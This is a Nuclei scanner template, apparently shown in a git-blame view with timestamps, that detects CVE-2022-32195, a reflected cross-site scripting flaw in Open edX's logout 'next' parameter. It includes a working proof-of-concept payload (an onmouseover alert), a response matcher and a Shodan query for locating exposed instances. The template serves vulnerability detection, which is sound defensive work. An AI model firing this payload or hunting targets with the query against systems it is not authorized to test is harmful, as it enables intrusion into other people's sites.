2022-08-13 07:11:50 +00:00
|
|
|
id: CVE-2022-32195
|
2022-08-06 19:47:02 +00:00
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: Open edX <2022-06-06 - Cross-Site Scripting
|
2022-08-06 19:47:02 +00:00
|
|
|
author: arafatansari
|
2022-09-16 20:03:07 +00:00
|
|
|
severity: medium
|
2022-08-06 19:47:02 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.
|
2022-08-06 19:47:02 +00:00
|
|
|
reference:
|
|
|
|
- https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
|
2022-08-14 05:17:00 +00:00
|
|
|
- https://github.com/edx
|
2022-09-16 19:50:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-32195
|
2022-08-08 20:26:09 +00:00
|
|
|
classification:
|
2022-09-16 20:03:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2022-32195
|
2022-09-16 20:03:07 +00:00
|
|
|
cwe-id: CWE-79
|
2022-08-06 19:47:02 +00:00
|
|
|
metadata:
|
2022-08-13 07:11:50 +00:00
|
|
|
comment: Hover the cursor on the redirect link
|
2022-08-14 05:17:00 +00:00
|
|
|
shodan-query: http.html:"Open edX"
|
|
|
|
verified: "true"
|
2022-08-06 20:15:45 +00:00
|
|
|
tags: cve,cve2022,openedx,xss
|
2022-08-06 19:47:02 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-08-06 20:15:45 +00:00
|
|
|
- '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'
|
2022-08-06 19:47:02 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-08-06 20:15:45 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '<a href="+8"onmouseover="alert(document.domain)">click here to go to'
|
2022-08-06 19:47:02 +00:00
|
|
|
|
|
|
|
- type: word
|
2022-08-06 20:15:45 +00:00
|
|
|
part: header
|
2022-08-06 19:47:02 +00:00
|
|
|
words:
|
2022-08-06 20:15:45 +00:00
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-09-16 19:50:10 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/09/14
|